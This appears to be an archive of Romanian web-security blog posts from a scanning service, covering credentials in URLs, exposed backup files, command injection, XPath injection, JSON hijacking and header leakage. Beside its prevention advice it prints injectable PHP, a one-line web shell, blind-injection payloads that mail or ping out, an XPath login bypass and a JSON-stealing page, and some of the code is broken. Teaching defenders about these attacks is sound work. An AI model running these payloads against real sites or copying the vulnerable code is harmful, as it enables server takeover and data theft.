Arhivă categorie website check

dehackeradvisor™

Setarea incorecta a credentialelor unui Website

Click aici si afla ce inseamna Credentialele ?


Exista posibilitatea ca user-ul si parola sa fie transmise prin intermediul adresei URL a site-ului dumneavoastra, dar asta nu inseamna ca este o idee buna.

 

Credentiale trimise prin URL?

O adresa URL poate fi formata pentru a te loga pe site, astfel:

https://username:[email protected]

Acest lucru nu este, în general, o problema pentru site-urile care sunt criptate (https la început în loc de http), dar nu expune credentialele de acreditare în text simplu în bara de browser-ul, adică în cazul în care o altă persoană se uita pe ecranul browser-ul web, ar putea vedea credentialele. De asemenea, este posibil ca perechea user/parola sa fie stocate automat în istoria browser-ului sau in cache, ceea ce înseamnă alte persoane care utilizează computerul ar putea să aiba acces la acestea.

 

De ce sa nu trimiti datele in acest fel ?

 

Securitatea fundamentală a site-ului nu este foarte amenințată de acest lucru, cu toate acestea, crește probabilitatea ca unui utilizator sa-i fie furate numele de logare si parola. În cazul în care site-ul în cauză are date sensibile, cum ar fi informațiile cărții de credit sau informații cu caracter personal, acest lucru ar putea reprezenta un risc pentru utilizator.

În plus, este posibil ca numele de utilizator și parola sa fie stocate in mai multe locuri in plain text  – in logurile de pe server, in istoria browser-ului, in memoria cache, și aplicații terțe care au acces la datele din browser, inclusiv plugin-uri.

 

Solutii – Cum sa trimiti corect credentialele ?

 

Trimiterea parolelor prin intermediul unei cereri GET sau direct în URL utilizând alte metode este considerată o practică de securitate slabă. Cea mai bună soluție este, de a modifica numele de utilizator și parola, prin setarea unor parametrii POST printr-un formular web și folosind Session cookies pentru a urmări atunci când un utilizator este logat, ignorând toate celelalte încercări de  autentificare.

 

De exemplu, în loc de următoarea declarație formularul de logare HTML,

 

De exemplu, în loc de următorul formular de logare HTML,

<form method="GET">

folositi

<form method="POST">

si tratati introducerea datelor folosind parametrii POST in loc de GET. Dupa care, credentialele pot fi setate sa folosind session cookie. Fiecare limbaj in parte, are o metoda diferita pentru a seta sesiunile, dar un exemplu pentru cazul PHP este listat mai jos :

<?php
session_start();
$_SESSION['loggedIn']=true;	//store the user as logged in
echo "Is the user logged in? ".$_SESSION['loggedIn'];	//retrieve session data
?>

Resurse Suplimentare

Scanarea pentru alte vulnerabilitati

HackerAdvisor.com  include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv impotriva setarii incorecte a credentialelor pentru site.

dehackeradvisor™

Cum sa ascunzi fisierele sensibile pe server

Exista posibilitatea de a ascunde fisierele sensibile pe server web, iar de multe ori este chiar necesar. Pentru a fi in masura sa ascunzi corespunzator fisierele, este indicat sa inveti mai intai cum pot fi expuse si apoi sa ajungi sa inveti cum sa le ascunzi. (Este indicat ca mai intai sa inveti modul prin care ele pot fi expuse, si mai apoi sa incepi sa inveti cum sa le ascunzi.

Cum se ascunzi fisierele sensibile pentru a nu fi expuse pe web ?

 

Serverele web gazduiesc multe fisiere, adesea chiar sute de astfel de fisiere. Acestea trebuiesc aranjate astfel incat utilizatorii sa vada doar ceea ce site-ul le permite sa vada. Din pacate, intretinerea site-urilor sau diferitele erori, pot dezvalui fisiere catre surse externe care nu ar trebui gasite. Ca si exemplu, imaginati-va un site care detine o baza de date cu clienti, ce include si seriile cardurilor de credit. Administratorul acestei baze de date, trebuie sa faca un backup(copie de rezerva) nesecurizata si creaza fisierul customers.txt iar apoi il pune intr-un fisier pe server, asigurandu-se ca nu este legat de niciun alt link de pe site. Ulterior, un atacator, viziteaza site-ul si incearca sa acceseze urmatorul link, incercand sa ghiceasca niste nume de interes :

www.mysite.com/customers/customers.txt

 

Astfel a gasit toate informatiile legate de clienti !

Un scenariu mai probabil (si cel mai frecvent) poate fi cel in care fisierele de rezerva sunt salvate din web pe site. Unele editoare de text fac copii de rezerva in mod automat, adaugand simbolul ~(tilda) la sfarsitul fisierului. Daca site-ul este in format PHP, se poate face o modificare minora folosind un editor de text pe site-ul dvs. si vedeti urmatoarele informatii :

[user:www]: ls index*
index.php
index.php~

Atacator ar putea fura codul tau sursa prin navigarea catre urmatorul link :

www.mysite.com/index.php~

Odata ce au acest fisier, acestia il pot analiza pentru vulnerabilitati suplimentare sau pot folosi codul sursa pentru alte scopuri!

Cum imi afecteaza aceasta Securitatea ?

 

Fisierele importante nu vor compromite automat un site. Totusi, asa cum prezentam mai sus, datele pot fi furate sau vulnerabilitatile pot fi detectate cu usurinta. Atunci cand un fisier important este detectat ca urmare a unei scanari  automate, ar trebui sa il analizezi cu atentie si sa te asiguri ca nu va dezvalui informatii ce nu ai dori fie publice. Sa presupunem ca toate fisierele interesante sunt deja publice.

Adesea, acest mesaj contine mesaje fals pozitive. Pot exista multe dintre fisierele text nu prezinta un risc de securitate, si acestea pot fi ignorate in siguranta.

Solutions

Verifica daca fisierul este unul de rezerva sau un fisier care nu este necesar. Daca este asa, elimina fisierul sau muta-l catre un director aflat in afara directorului web, cum ar fi un folder de backup dedicat. Acest lucru va impiedica utilizatorii din afara sa vizualizeze datele.

Alternativ, puteti configura serverul de web pentru a nu dezvalui anumite tipuri de fisiere. Pentru Apache, puteti adauga directive catre fisierul principal de configurare Apache (httpd.conf) sau fisierul .htaccess. in fiecare folder. De exemplu, in primul rand ar trebui sa includeti urmatoarea lista in fisierul dvs. httpd.conf iar apoi restartati programul Apache. Acest lucru va preveni diferite tipuri de fisiere sa fie vizibile, fisiere precum ~backups, .bak, .txt si fisiere htaccess (fisiere de configurare pentru Apache).

Fisierele urmate de ~ au aceeasi logica ca si directivele FilesMatch.

<FilesMatch "^\.ht">
Order allow,deny
Deny from all
</FilesMatch>

<Files ~ "\.bak">
Order allow,deny
Deny from all
</Files>

<Files ~ "\.txt">
Order allow,deny
Deny from all
</Files>

<Files ~ "~">
Order allow,deny
Deny from all
</Files>

Asigurati-va ca testati aceste setari pe un server test, inainte de implementare in productie si asigurati-va ca tipurile respective de fisiere nu sunt legitime pentru site-ul dvs.

Resurse Suplimentare

Gaseste fisiere expuse pe site-ul tau

HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv te ajuta sa gasesti fisierele expuse pe site-ul tau.

dehackeradvisor™

Shell Injection & Command Injection

 

Shell Injection, cunoscut si sub numele de Comand Injection (termenii sunt interschimbabili in acest caz), chiar daca nu se vorbeste prea des despre ea si nici nu este o vulnerabilitate prea des descoperita , este fara doar si poate una dintre cele mai critice.

 

Cuprins

 

 

Descriere Shell Injection (O scurta introducere)

 

Adesea, site-urile web trebuie sa se foloseasca de programele si bibliotecile de baza, pentru completarea unor functionalitati. Aceasta ar putea fi la fel de simplu ca si trimiterea unui e-mail, folosind programul Unix sendmail sau complicat ca si rularea programelor customizate Perl si C++. Din punct de vedere al dezvoltarii, acesta este un mod foarte bun pentru a reduce timpul de dezvoltare al unui site. In unele cazuri, daca datele sunt trecute prin aceste programe/biblioteci, sau printr-o interfata de utilizator, atunci un atacator ar putea incerca sa injecteze comenzi Shell in aceste programe backend, existand posibilitatea de a le compromite.

Pentru a intelege cum functioneaza majoritatea injectiilor Shell, imaginati-va un caz simplu. Sa presupunem ca este nevoie de un script customizat, pentru afisarea continutului unui fisier pe ecranul utilizatorului, dar echipa de dezvoltare nu vrea sa-si piarda timpul scriind o procedura pentru citirea fisierelor. Astfel, ei decid sa permita utilizatorilor sa specifice un fisier, dupa care sa foloseasca comanda Unix „cat” pentru afisarea rezultatelor la terminal. Codul pentru obtinerea acestora, poate arata astfel in PHP:

 

<?php
echo shell_exec('cat '.$_GET['filename']);
?>

Totul in regula pana aici. Acum, scriptul poate fi apelat cu diferiti parametrii (GET) pentru afisarea diferitelor fisiere catre utilizatori. Daca adaugam fisiere noi in director, site-ul stie automat cum sa le citeasca si sa le afiseze indiferent de rezultat. Putem vedea acest lucru cu un simplu exemplu pentru a intelege cum ar trebui sa functioneze programul. Sa presupunem ca avem un fisier in acelasi director, pe care utilizatorul ar dori sa-l afiseze. Sa-l numim „my_great_content.txt”. Contine text de testare ca urmatorul:

 

This is my content. It should be visible. Unfortunately, it leads to command injection…

 

Un utilizator, apeleaza urmatorul URL:

 

www.mysite.com/viewcontent.php?filename=my_great_content.txt

 

Pagina PHP, va arata utilizatorilor continutul, exact cum trebuie. Pentru majoritatea utilizatorilor, pagina functioneaza cum trebuie si echipa de dezvoltare a trebui sa scrie doar o linie de cod. Din pacate, dupa cum banuiti, codul nu este securizat si este vulnerabil unui atac Shell command injection. Daca atacatorul isi propune, el poate adauga „;” si o alta comanda Unix in locul numelui fisierului specificat in parametrul URL. Sa presupunem ca atacatorul vrea sa inceapa prin listarea fisierelor din director.

 

www.mysite.com/viewcontent.php?filename=my_great_content.txt;ls

 

Aceasta comanda va afisa continutul fisierului my_great_content.txt , insa din moment ce am injectat comanda (ls), executia nu se incheie dupa afisarea continutului fisierului. Linia de comanda continua sa execute urmatoarea comanda si afiseaza anumite informatii speciale:

This is my content. It should be visible. Unfortunately, it leads to command injection...
my_great_content.txt
viewcontent.php

 

Acest cod ofera de fapt numeroase oportunitati pentru un atacator, inclusiv directory traversals. Ca si exemplu rapid, daca se lanseaza o comanda de genul  ../../etc/password, am obtine ca si rezultat ca urmare a procesarii comenzii cat o lista cu toti utilizatorii inregistrati pe server. Chiar daca shell injection ar fi prevenita prin limitatea intrarilor in functia cat, aceasta problema tot ar trebui luata in considerare.

 

Cum se efectueaza atacurilor de tip Shell si Command Injection

 

In sectiunea precedenta, am vazut un exemplu de functionare a Command Injection care ar putea sa functioneze. In aceasta sectiune, vom vorbi despre tipurile de Command Injection si modul in care acestea pot fi executate. Presupunând ca o analiza a gasit o functie intr-un site web care este probabil sa fie vulnerabila la Shell Injection (vezi sectiunea privind testarea pentru Shell Injection) sunt o multime de moduri in care se pot injecta comenzi ( Command Injection).

 

Sa presupunem spre exemplu, ca ati gasit o pagina cu vulnerabilitatea din exemplele anterioare, care ia ca argument un nume de fisier de intrare si executa comanda shell „cat” pentru a afisa la consola continutul acelui fisier. In exemplul anterior, am folosit o virgula pentru a separa o comanda de cealalta si pentru a indica faptul ca dupa ce comanda cat s-a finalizat, o alta functie ar trebui sa fie rulata in aceeasi linie. Este rezonabil sa presupunem ca un dezvoltator mai avansat ar putea elimina unele forme de shell injection, prin eliminarea folosirii (;) punct si virgula, facând atacul anterior ineficient. Exista diferite moduri de punere laolalta de comenzi shell, care puse impreuna creaza o noua comanda. Mai jos, sunt cei mai comuni operatorii pe care ii puteti utiliza, precum si exemple cu modul in care acestia ar putea fi utilizati intr-un atac:

 

Operatoti de redirectare

Exemplu:  <, >>, >

 

Acesti operatori redirectioneaza fie intrarile, fie iesirile in alta zona pe server. Folosirea „<” va face ca tot ce urmeaza dupa semn, sa fie intrare standard. Inlocuirea numelui fisierului cu “< filename” nu se va schimba rezultatul afisarii, dar ar putea fi utilizat pentru a evita unele filtre.Operatorul  „>” poate fi folosit pentru a modifica fisiere pe server, sau pentru a crea altele noi. Combinat cu comanda cat, ar putea fi usor de utilizat pentru a adauga utilizatori UNIX in sistem, sau pentru a sterge site-ul web. In cele din urma, „>>” adauga text unui fisier si poate fi folosit pentru a evita unele sisteme de detectie simpliste.

 

Pipe

Exemplu: |

Pipele dau posibilitatea unui utilizator sa combine mai multe comenzi. Va redirectiona rezultatul unei comenzi in ca intrare pentru urmatoarea. Poti rula un numar infinit de comenzi, prin combinarea acestora cu ajutorul pipelor, cum ar fi spre exemplu cat file1 | grep “string”

 

Comenzi Inline

Exemplu: ;, $

Acesta este un exemplu. Adaugarea semnului punct si virgula solicita comenzii sa execute orice inainte de punct si virgula, si apoi sa execute restul ca si cand ar fi o linie noua de comanda.

 

Operatoti logici

 

Exemplu: $, &&,||

 

Acesti operatori opereaza anumite operatiuni logice cu datele, inainte si dupa folosirea lor in linia de comanda.

 

Sabloane si rezultate comune ale operatiunii Injection

 

Mai jos, sunt prezentate cele comune sabloane Shell Injection (cele de mai jos se folosesc impreuna cu anumite siruri de intrare)

 

  • shell_command `- executa comanda
  • $ (shell_command) – executa comanda
  • | Shell_command – executa comanda si returneaza iesirea comenzii
  • | | Shell_command – executa comanda si returneaza iesirea comenzii
  • , Shell_command – executa comanda si returneaza iesirea comenzii
  • && Shell_command executa comanda si returneaza iesirea comenzii
  • Target_file – suprascrie fisierul tinta cu iesirea comenzii anterioare
  • >> Target_file – adauga fisierul tinta la iesirea comenzii anterioare
  • <Target_file – trimite continutul target_file la comanda anterioara
  • – operator – Adauga operatiuni suplimentare la comanda target

 

 

Aceste exemple sunt numai o mica parte din posibilele comenzi “Shell Injection”. Intregul spectru de posibilitati de atac este dependent de apelul unor functii din biblioteca de baza. De exemplu, daca o functie de baza foloseste un program shell, cum ar fi spre exemplu awk, si mai multe posibilitati de atac apar, in afara celor prezentate aici.

 

Command Injection poate fi mult mai subtila decât gasirea de aplicatii care acceseaza in mod direct functiile sistemului de operare. Daca este posibil, sa injectezi un cod (cum ar fi un cod PHP), atunci se pot efectua, de exemplu, Command Injections. Sa presupunem ca ai gasit o aplicatie cu o vulnerabilitate PUT  pe un site care are PHP. Un atacator ar putea incarca pur si simplu un fisier script PHP cu o singura linie de cod, pentru a avea acces la un shell:

 

<?php
echo shell_exec('cat '.$_GET['command']);
?>

Astfel, trebuie remarcat faptul, ca mai multe tipuri de atacuri, inclusiv SQL Injection, au ca si obiectiv principal Command Injection pentru a castiga controlul asupra serverului.

 

Cum sa testezi un website impotriva vulnerabilitatilor Command Injection

 

Primul pas in identificarea vulnerabilitatilor Command Injection, este de a parcurge site-ul. Odata ce aveti o serie de pagini identificate, pentru a testa Command Injection pe ele , sau in cazul in care banuiti ca un site web poate accesa direct o functie a sistemului de operare, exista câteva teste simple pe care le poti efectua pentru a obtine observa daca exista o vulnerabilitate Command Injection.

 

In functie de sistemul de operare, comenzile poti fi diferite. Atat pentru Unix cat si pentru Windows, prin adaugarea unui punct si virgula unor anumite intrari de date, printr-o simpla comanda de baza:

(Windows) <normal_input>; dir c:
(Unix)    <normal_input>; ls

Daca site-ul afiseaza mesaje de eroare, altele decât mesaje de caracter nevalid, atunci un Shell Injection este foarte posibil sa existe. Exista anumite mesaje de eroare, care sunt cele mai probabile, daca primiti mesaje de eroare cu privire la datele de intrare care nu au fost formatate corect in comanda, cum ar fi : fisierul nu a fost gasit, atunci când specifica un fisier pentru a fi citit, atunci va trebui sa modificati comanda in consecinta, adaugand ghilimele, spre exemplu.

Luati in considerare din nou primul exemplu in care  site-ul ruleaza comanda de sistem ‘cat’ pentru a citi un fisier, si vom testa posibilitatea de a crea un string injection:

<?php
//sending the input directly. Attack with a string like file.txt;ls
echo shell_exec('cat '.$_GET['command']);
?>

<?php
//input is placed in quotes.  You must end the quotes to execute an injection. 
//Craft an attack with a string like file.txt";ls
echo shell_exec('cat "'.$_GET['command']).'"';
?>

 

Testarea pentru Blind Command Injection

 

Uneori site-ul nu va returna orice mesaj de eroare catre display. In acest caz, testele pentru Command Injection trebuiesc contruite in asa fel incat sa nu depinda de afisarea rezultatului. Comenzile comune includ comanda unix “mail”, sau un ping catre o anumita adresa IP pentru a verifica daca functioneaza. Puteti de asemenea sa  incercati sa scrieti fisiere de test in directorul web si sa verificati daca au fost create, cu toate ca metoda este mai putin folosita. Cateva exemple simple de blind command injection pe Unix, din nou presupunand ca site-ul asteapta un fisier text drept date introduse de utilizator:

file.txt;mail [email protected] < file.txt	//send an email to yourself
file.txt;ping www.test.com		//ping a webserver you have control of
file.txt;echo "test" > test.txt		//write the word "test" to test.txt. try opening this file with the browser.

In fiecare caz, ia in calcul ca o parte din datele introduse sunt blacklisted de site. In cazul in care testele de baza Command Injection nu returneaza nici un rezultat, incercati encodarea caracterelor comune. Scheme comune de codare includ activarea JavaScript-UUencode, codare HTML in browser, sau diverse codificari Unicode.

 

Folosirea Injectiilor Shell ca si Vector de atac pentru a obtine privilegii de nivel inalt

 

 

Shell Injection este, in general, considerat ca fiind una una dintre cele mai periculoase vulnerabilitati, deoarece poate fi utilizata pentru a obtine controlul complet asupra unui server. Desi securizarea serverului si a sistemului de operare poate ajuta la limitarea impactului si face mai greu pentru un atacator sa modifice privilegii, exista in continuare un risc semnificativ. Modificarea privilegiilor foloseste, de obicei, urmatoarea schema:

1. Gasirea vulnerabilitatilor Shell Injection. Folosirea vulnerabilitatilor pentru a obtine acces shell prin crearea unui script shell personalizat accesibil de catre atacator. Acesta poate avea diferite forme, in general o simpla pagina PHP dedicata care serveste ca si Shell. Implicit acest shell va avea acelasi acces ca si utilizatorul care ruleza serverul web, de obicei Apache sau IIS.

 

2. Odata ce este stabilit accesul la shell, atacatorul poate monitoriza procesele pentru perspective suplimentare de atac. Un obiectiv bun ar putea fi o conexiune de utilizator la baza de date, care permite atacuri SQL Injection direct in baza de date, si poate permite atacatorului sa preia controlul ca si utilizator al bazei de date, de asemenea, poate folosi SQL Injection pentru a crea fisiere `setuid` cu proprietar chiar proprietarul bazei de date, cu privilegii globale de citire.

 

3. Din acest punct, este o chestiune care tine de atacator in a gasi alte vulnerabilitati pe server si a le exploata pentru a obtine privilegii suplimentare. Daca acest lucru inseamna gasirea `setuid` neprotejat penru root sau exploatarea bug-urilor software-ul cunoscute, este doar o chestiune de timp pana atacatorul are control complet al sistemului.

 

Cum sa automatizezi testele pentru Command Injection

 

Testarea impotriva Shell injection este doar o parte din suita mai mare de teste automatizate, incluziv cel pus la dispozitie de site-ul nostru. Scannerele automatizate existente incearca o anumite varietate de atacuri Shell Injection ce nu afecteaza sistemul, cautand mesaje de eroare problematice sau un comportament deosebit al site-ului.

 

Pentru automatizarea acestui tip de teste fara a folosi un anumit program, metodologia este urmatoarea:

1. Compune o lista cu toate paginile si varietatea de modalitati prin care pot fi introduse date in site.

2. Pentru fiecare punct de introducere al datelor, incearca atacul de baza Shell Injection, cum ar fi adaugarea ; ls la o introducere de date normala.

3. Examineaza raspunsul serverului atunci cand se introduc date normal, comparativ cu situatia in care se introduc date injectate.

4. Daca site-ul returneaza mesaje de eroare sau diferite raspunsuri, ar putea avea o vulnerabilitate Shell Injection.

5. Repetati pasii 2-4 cu diferite Injectii, comenzi si scheme de encodare.

 

Implementarea unui scanner propriu automatizat pentru comenzi shell injection nu este cea mai buna solutie. Este mult mai util sa folosesti aplicatii open source existente si sa cauti modalitati de a imbunatati capacitatea lor de control, decât sa pornesti de la zero.

 

Cele mai probabile locuri sa gasesti vulnerabilitati Shell Injection

 

Cele mai comune locuri pentru a gasi vulnerabilitati shell injection este in zona si momentul incarcarii de fisiere si in codul web non-nativ ce ruleaza, cum ar fi Perl. Daca un site afiseaza ca citeste fisiere de pe disc, este posibil ca acesta sa nu foloseasca librariile corespunzatoarea, in schimb bazandu-se pe comenzi simple OS pentru a obtine rezultatul. Aplicatii de incarcare de fisiere sunt locuri foarte bune pentru a verifica Shell Injection. Cel de-al 2-lea loc comun este atunci când site-ul utilizeaza un limbaj non web, cum ar fi Perl pentru a executa unele functii. In cazul in care sunt gasite pe site scripturi Perl care pot fi utilizate, exista multe atacuri care pot fi folosite pentru a injecta comenzi suplimentare in timp ce fisierul Perl este utilizat.

Probabil cel mai comun loc dintre toate este atacul indirect Shell Injection, atunci cand aplicatia evalueaza codul direct, cum ar fi functia PHP eval.  Daca utilizatorul detine orice tip de acces asupra datelor ce sunt introduse in functia eval, acesta poate fi folosit ca si vector pentru a executa cod shell, din moment ce PHP are capabilitati de a rula functii de sistem. Astfel, o analiza a site-urilor web implica intelegerea scripturilor folosite si analiza punctelor de introducere ale datelor, acolo unde un atac ar putea avea loc.

 

Cum sa previi atacurile Shell Injection

 

In ciuda a nenumaratelor moduri descrise mai sus pentru atacurile Shell Injection, acestea pot fi prevenite prin parcurgerea câtorva pasi simpli. Unul dintre cei mai importanti este aceala de a securiza cu atentie toate datele introduse de utilizator. Daca se poate evita transmiterea din partea utilizatorilor a unor argumente catre sistemului de operare, ar trebui sa se ia serios in considerare acest lucru. Alternativ, asigurati-va ca ati eliminat toate sintaxele potential daunatoare, cum ar fi punct si virgula, sau alte elemente de separare, care pot fi utilizate pentru a rula comenzi suplimentare. In Unix, acestea includ pipe (|), si ampersand (&). Cel mai bun mod de a realiza acest lucru este procedura white listing-ului. Pentru exemple de nume de fisier, vezi exemplul de mai sus, trebuie sa se mentina o lista de fisiere acceptate in white list,  si trebuie verificat ca datele de intrare corespund cu o intrare din aceasta lista. Orice altceva trebuie sa fie respins ca si o operatiune nesigura.

 

Resurse Suplimentare

 

Command Injection Overview
Example of command injection in action (Hacking practice)

 

Cauta Vulnerabilitati Shell Injection pe server

 

HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv atacurile Shell Injection.

dehackeradvisor™

Injectiile XML si XPath

Majoritatea site-urilor detin o metoda de stocare a datelor; cea mai des intalnita fiind baza de date. Totodata, anumite site-uri folosesc XML pentru stocarea datelor si folosesc o metoda de interogare a acestora cunoscuta sub numele de XPath. In cazul folosirii bazelor de date SQL pentru stocarea datelor unui site, administratorul site-ului trebuie sa aiba in vedere atacurile de tip SQL Injection care pot sustrage sau altera datele. Similar site-urilor care stocheaza informatii folosind XML si XPath, trebuie sa se aiba in vedere XPath Injection, pentru prevenirea furturilor sau a modificarilor de date.

 

XML and XPATH Injection

Aplicatiile care returneaza diferite rezultate bazate pe informatiile de utilizatori introduse ( cum ar fi logarea unui user bazata pe user/parola)  ar putea sa nu filtreze toate informatiile introduse de utilizator. Imaginati-va ca aveti datele de utilizator stocate intr-un fisier XML, si acest fisier XML arata in felul urmator:

<users>
	<user ID =1>
		<username>Admin</username>
		<password>MyPassw0rd</password>
		<role>admin</role>
	</userid>
</users>

Uitandu-ne la codul pe care site-ul il foloseste pentru logarea user-ului, creeaza dinamic un XPath interogat in PHP, dupa ce user-ul a introdus username-ul si parola in campurile corespunzatoare (cu user si parola variabila) :

<?php
$login = simplexml_load_file("users.xml");
$result=$login->xpath("//User[username/test()='".$_POST['user']." AND password/text()='".$_POST['pass']."'";
?>

Problema principala mai sus mentionata, este faptul ca datele de la utilizator, nu sunt sigure. Variabila POST este folosita pentru a trage date direct din campurile de login si a le plasa in interogarea XPath. In acest moment, un atacator ar putea incerca introducerea unui string special pentru username:

' or 1=1 or '

Acum interogarea, intotdeauna returneaza primul user (in cazul nostru admin) si astfel atacatorul este logat ca si administrator!

Alte atacuri sunt posibile de asemenea, folosind o logica similara. In loc de logarea ca si administrator, atacatorul ar putea folosi alte string-uri speciale pentru a solicita date din documente la care ei nu ar trebui sa aiba acces, chiar si intrarea in posesia tuturor datelor din fisierul XML.

 

Cum impacteaza asta securitatea mea?

 

Un atac cu succes ar permite unui atacator sa fure intreaga baza de date, inclusiv datele sensibile si logarea cu privilegii de administrator in aplicatie.

Aceasta este vulnerabilitatea cu riscul cel mai mare, pe care o aplicatie o poate avea.

 

Prevenirea XML INJECTION

 

XPath Injection, poate fi prevenita intr-un mod similar ca si SQL Injection. Cea mai buna cale este securizarea cu atentie a datelor introduse de utilizator. Orice informatie primita de la un utilizator, trebuie considerata nesigura. Inlaturarea si securizarea ghilimelelor simple si duble, ar trebui sa inlature majoritatea tipurilor de atac de acest gen.

Luand in considerare faptul ca inlaturarea ghilimelelor, poate avea efecte secundare, cum ar fi atunci cand numele de utilizator poate contine ghilimele valide. Imaginati-va nume comune cum ar fi O`Malley, care contine ghilimile legitime si care pot fi introduse in campul nume. In aceste cazuri, introducerea informatiei poate fi securizata, cel mai adesea prin adaugarea unui / in fata ghilimelelor. Verifica cu biblioteca ta de functii specifica si un soft-ul XML, sintaxa corespunzatoare care poate fi folosita.

Majoritatea bibliotecilor folosite in programare, contin functii pentru a va ajuta sa faceti escape la datele introduse de utilizatorpentru siguranta interogarii. Verificati documentatia dvs. specifica pentru modalitatea corecta de automatizare a escape-ului datelor din interogarea documentelor XML.

 

RESURSE SUPLIMENTARE

Blind XPath Injection Paper
Web Application Security Consortium on XPath Injection
OWASP XPath Documentation

 

Gasiti vulnerabilitatea XML Injection in aplicatia dvs. Web

Hackeradvisor.com, include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv impotriva XML Injection si XPath Injection.

dehackeradvisor™

Securitatea feed-urilor de date JSON

JSON este o modalitate de a trimite date între diferitele componente ale unei aplicații utilizând date care pot fi serializate, sau sa transformat într-o serie de perechi key-value. Unele aplicații folosesc această metodă pentru a trimite date din aplicație la browser.

Cum pot fi furate sau compromise datele JSON ?

Problema apare atunci când aceste informații sunt sensibile de la sine. Un atacator poate construi un alt site și a crea o pagină care include sursa de cod JSON care cere browser-ului sa il considere JavaScript, cum ar fi :

<script src="https://www.mysite.com/secret-data.json" type="text/javascript"></script>

Pagina de atac poate include acum un JavaScript suplimentar pentru a citi acest răspuns JSON, și trimite datele inapoi catre atacator. Un cod cum ar fi următorul, va transforma raspunsul JSON într-un vector, care citeste raspunsul pentru acțiuni in continuare.

 

<script type="text/javascript">
  var json_data;
  Array=function() { json_data=this;};	//turns JSON into an array!
</script>
<script src="https://www.mysite.com/secret-data.json" type="text/javascript"></script>
<script type="text/javascript">
  Var i=0;
  While(json_data[i++]){
  	Alert("Found secret data! "+json_data[i];
  }
</script>

Pasul final al acestui atac este de a convinge utilizatorul vizat pentru a vizita site-ul atacatorului în timp ce este conectat la mysite. În cazul în care utilizatorul este conectat la mysite, datele de autentificare vor fi trimise de către browser împreună cu cererea de date JSON, iar atacatorul va putea vizualiza informațiile secrete. Utilizatorii pot fi pacaliti in a face acest lucru printr-o varietate de moduri, de la simpla vizitare un post pe un forum unde atacatorul a postat, la vizualizarea comentariilor pe blog, sau chiar printr-un click direct pe un link-ul infectat.

 

Astfel, un rezumat al acestui tip de atac:

  1. Un site web este conceput pentru a returna anumite date sensibile, cum ar fi JSON
  2. Un atacator creează un site special care transformă JSON în JavaScript, apoi trimite date către atacator
  3. Utilizatorul se conectează la site-ul țintă ca un utilizator autentificat
  4. Atacatorul convinge utilizatorul să viziteze site-ul lui special în timp ce este conectat la site-ul țintă. Fie prin trimiterea unui link prin e-mail sau postand într-un message board preferat al utilizatorului.
  5. Datele sunt compromise.

 

Cat de sigure sunt datele trecute prin JSON?

 

Marea majoritate a utilizărilor JSON nu vor fi afectate, deoarece majoritatea datelor trimise prin JSON nu sunt considerate a fi date critice. In plus, noile browsere, inclusiv Firefox 3 și mai sus, sau IE8 și mai sus au blocat metode comune de folosirea acestui atac, limitand impactul.

Cu toate acestea, este inca posibil ca un site atacator sa aiba posibilitatea de a fura date sensibile de la un utilizator în cazul în care datele sunt transmise prin JSON, deci ar trebui să ia în considerare prevenirea acest lucru in prima instanta, chiar dacă sunt trimise date non-critice.

 

Cum sa previi furtul de date case folosesti Feed-uri de date JSON

Cea mai simpla solutie este convertirea tuturor solicitarilor de date catre JSON, sa foloseasca POST in loc de GET. Acest lucru va preveni ca unor alte site-uri sa extraga de date folosind un script src = „” tag-ul in site-ul lor.

Alternativ, puteți utiliza valori unice pentru a stabili daca cererea de datele in realitate vine de pe site-ul tau. De exemplu, în cererea GET, puteți solicita date unice, care vor fi diferite pentru fiecare sesiune, și pe care le puteti stoca în cookie-urile de autentificare ale utilizatorilor.

Spre exemplu, următorul form PHP folosește o cerere GET pentru a trimite o cerere de date, si in continuare, o valoare unică, numita nonce, este plasata în cerere și informația salvata in cookie.

Prima pagina (pagina formular in care utilizatorul actioneaza)

<?php
  //start the user session (set session cookie)
  session_start();
  //generate nonce - this nonce will be used for this session only, using random values and the time
  $nonce=hash("md5",rand().time().rand());
  echo "<br />Nonce: ". $nonce. "<br />";
  $_SESSION[ 'nonce']= $nonce;
?>

<!-- Now create the form, and include the same nonce we generated above-->
<form name= "do_some_action" action= "completeAction.php" method= "POST">
  <input type= "hidden" name= "nonce" value="<? php echo  $nonce?>"/>
  <input type= "submit" value= "do Action"/>
</form>

The page where the action is performed, after a user clicks a button.

<?php
  //start session
  session_start();
  //get the POST nonce
  $post_nonce=$_POST[ 'nonce'];
  //get the session nonce
  $session_nonce=$_SESSION[ 'nonce'];
  //make sure to validate the post input to prevent other types of attacks! Not shown here for brevity
  if( $post_nonce=== $session_nonce)
  	echo  "Request is safe!";
  else
  	echo  "Data might be stolen!";
?>

Additional Resources

 

Gasiti Feed-uri JSON nesecurizate pe site

HackerAdvisor.com  include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv securizarea feedurilor JSON .

dehackeradvisor™

Cum sa ascunzi valorile X Header

 

Informatiile X header sunt incluse in mod implicit in diferite tehnologii aflate pe internet. Antetul trimite informatii catre browser, inclusiv informatii legate despre serviciile web care ruleaza. Multe tipuri de X-* headere nu sunt o amenintare pentru securitatea ta. Cel mai des intalnit X header, in legatura cu punerea in periocol a securitatii site-ului, este X-Powered-By header.

 

Ce sunt valorile X header ?

 

Informatiile X header sunt incluse in mod implicit in diferite tehnologii aflate pe internet. Antetul trimite informatii catre browser, inclusiv informatii legate despre serviciile web care ruleaza. Multe tipuri de X-* headere nu sunt o amenintare pentru securitatea ta. Cel mai des intalnit X header, in legatura cu punerea in periocol a securitatii site-ului, este X-Powered-By header.

Header-ul X-Powered-By dezvăluie informații bazate pe versiunea de PHP. Similar cu alte vulnerabilități de securitate cu risc scăzut, legate de versiunea de software, acesta dezvăluie date catre un atacator sau catre un proces automat, si poate fi folosit pentru a lansa atacuri cunoscute, bazate pe vulnerabilitati deja descoperite, care sa functioneze pentru versiunea dvs specifica. Eliminarea acestor informații, scade probabilitatea unor astfel de atacuri.

